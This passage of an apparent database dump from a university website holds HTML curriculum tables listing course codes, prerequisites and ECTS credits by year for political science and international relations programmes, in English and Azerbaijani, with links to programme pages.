style=\"background-color:#ffffff\">AZLL101</td>\r\n  <td style=\"background-color:#ffffff\">Azerbaijani Language</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">PSIR110</td>\r\n  <td style=\"background-color:#ffffff\">Introduction to Political Science</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">AZC101</td>\r\n  <td style=\"background-color:#ffffff\">Azerbaijani Culture</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">&nbsp;6</td>\r\n </tr>\r\n <tr height=\"42\">\r\n  <td height=\"42\" style=\"background-color:#ffffff\">CMS101</td>\r\n  <td width=\"300\" style=\"background-color:#ffffff\">Introduction to Computer Science(Science and Technology)</td>\r\n  <td width=\"91\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR150</td>\r\n  <td width=\"321\" style=\"background-color:#ffffff\">Ancient and Medieval social history of Political Thought</td>\r\n  <td width=\"81\" style=\"background-color:#ffffff\">&nbsp;PSIR 110</td>\r\n  <td width=\"51\" style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Social Science</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\"><br></td>\r\n  <td style=\"background-color:#ffffff\">Life Science</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>Total Credits</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\"><strong><em>32</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>Total Credits</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\"><strong><em>32</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>2nd Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl119\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\">&nbsp;</td>\r\n  <td colspan=\"4\" class=\"xl122\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\"><em>Code</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Courses&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Prerequisite</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>ECTS</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Code</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Courses&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Prerequisite</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">AZLL105</td>\r\n  <td style=\"background-color:#ffffff\">Azerbaijani Literature</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR216</td>\r\n  <td style=\"background-color:#ffffff\">English for Special Purposes</td>\r\n  <td style=\"background-color:#ffffff\">ENGL103</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">ENGL103</td>\r\n  <td style=\"background-color:#ffffff\">Academic English</td>\r\n  <td style=\"background-color:#ffffff\">ENGL102</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">8</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR250</td>\r\n  <td style=\"background-color:#ffffff\">History of International Relations</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"42\">\r\n  <td height=\"42\" style=\"background-color:#ffffff\">PSIR202</td>\r\n  <td width=\"300\" style=\"background-color:#ffffff\">Contemporary social history of Political Thought&nbsp;</td>\r\n  <td width=\"91\" style=\"background-color:#ffffff\">PSIR150</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR251</td>\r\n  <td style=\"background-color:#ffffff\">International Organizations</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Humanities</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PHIL110</td>\r\n  <td style=\"background-color:#ffffff\">Introduction to Philosophy&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Second Foreign Language-1(European Languages)</td>\r\n  <td width=\"91\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Social Science</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Second Foreign Language-2(European Languages)</td>\r\n  <td style=\"background-color:#ffffff\">Second language-1</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>Total Credits</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\"><strong><em>32</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>Total Credits</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\"><strong><em>36</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>3rd Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl119\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\">&nbsp;</td>\r\n  <td colspan=\"4\" class=\"xl122\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\"><em>Code</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Courses&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Prerequisite</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>ECTS</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Code</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Courses&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Prerequisite</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">PSIR300</td>\r\n  <td style=\"background-color:#ffffff\">Theories of International Relations</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR351</td>\r\n  <td style=\"background-color:#ffffff\">Foreign Policy of Azerbaijan</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">PSIR301</td>\r\n  <td style=\"background-color:#ffffff\">Modern Diplomacy</td>\r\n  <td style=\"background-color:#ffffff\">PSIR250</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR350</td>\r\n  <td style=\"background-color:#ffffff\">Political Sociology</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">PSIR303</td>\r\n  <td style=\"background-color:#ffffff\">Economics</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR352</td>\r\n  <td style=\"background-color:#ffffff\">International Political Economy</td>\r\n  <td style=\"background-color:#ffffff\">PSIR303</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Major Elective</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\"><br></td>\r\n  <td style=\"background-color:#ffffff\">Science and Technology</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Major Elective</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Major Elective</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Humanities</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Major Elective</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>Total Credits</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\"><strong><em>36</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>Total Credits</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\"><strong><em>36</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>4th Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl119\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\">&nbsp;</td>\r\n  <td colspan=\"4\" class=\"xl122\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\"><em>Code</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Courses&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Prerequisite</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>ECTS</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Code</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Courses&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Prerequisite</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">PSIR401</td>\r\n  <td style=\"background-color:#ffffff\">Political Psychology</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR450</td>\r\n  <td style=\"background-color:#ffffff\">Comparative Politics</td>\r\n  <td style=\"background-color:#ffffff\">PSIR110</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">PSIR400</td>\r\n  <td style=\"background-color:#ffffff\">Research Methods in PS</td><td style=\"background-color:#ffffff\"></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR451</td>\r\n  <td style=\"background-color:#ffffff\">Modern Integration Processes&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR301</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">PSIR403</td>\r\n  <td style=\"background-color:#ffffff\">Political and Economic Geography</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">PSIR500</td>\r\n  <td style=\"background-color:#ffffff\">Internship&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">PSIR405</td>\r\n  <td style=\"background-color:#ffffff\">Political systems of Azerbaijan and FC</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Major Elective</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Major Elective</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Major Elective</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">Major Elective</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>Total Credits</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\"><strong><em>36</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>Total Credits</em></strong></td>\r\n  <td style=\"background-color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center;background-color:#ffffff\"><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td><strong>Total Credits</strong></td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\"><strong>270</strong></td>\r\n </tr></tbody></table>'),(6151,3502,'az','Tədris planı','Tədris planı','<p><a href=\"http://www.khazar.org/az/menus/1388/politologiya\"><strong>Politologiya</strong></a></p><p><strong><a href=\"http://www.khazar.org/az/menus/1388/politologiya\"></a><a href=\"http://www.khazar.org/az/menus/1386/beynelxalq_munasibetler\">Beynəlxalq Münasibətlər</a></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1386/beynelxalq_munasibetler\"></a></strong><a href=\"http://www.khazar.org/az/menus/1387/regionshunasliq_avropa_\"><strong>Regionşünaslıq (Avropa)</strong></a></p>'),(6152,3502,'en','Programs','Programs','<br>\r\n<p><a href=\"http://www.khazar.org/en/menus/1388/political_science\"><strong>Political Science</strong></a></p><p><strong><a href=\"http://www.khazar.org/en/menus/1388/political_science\"></a><a href=\"http://www.khazar.org/en/menus/1386/international_relations\">International Relations</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1386/international_relations\"></a></strong><a href=\"http://www.khazar.org/en/menus/1387/area_studies_europe_\"><strong>Area Studies (Europe)</strong></a></p>'),(6153,3503,'az','Beynəlxalq Münasibətlər','Beynəlxalq Münasibətlər','<div><br></div><div><br></div><div><br></div><h3>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Tədris planı - Beynəlxalq Münasibətlər</h3><div><br></div><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"1105\" style=\"\" border-collapse:collapse;width:830pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" class=\"xl118\" width=\"1105\" style=\"text-align: center;\" height:16.5pt;width:830pt\"\"=\"\"><strong>1-ci kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl120\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl123\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL101</td>\r\n  <td>İngilis dili-1</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">8</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL102</td>\r\n  <td>İngilis dili-2</td>\r\n  <td>ENGL101</td>\r\n  <td style=\"text-align:center\">8</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR110</td>\r\n  <td>Siyasi Elmlərə Giriş</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL101</td>\r\n  <td>Azərbaycan dili</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZH150</td>\r\n  <td>Azərbaycan tarixi</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZC101</td>\r\n  <td>Azərbaycan Mədəniyyəti</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS101</td>\r\n  <td width=\"300\">İnformatikaya giriş (Elm və Texnologiya)</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Elm və Texnologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Sosial Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Humanitar Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  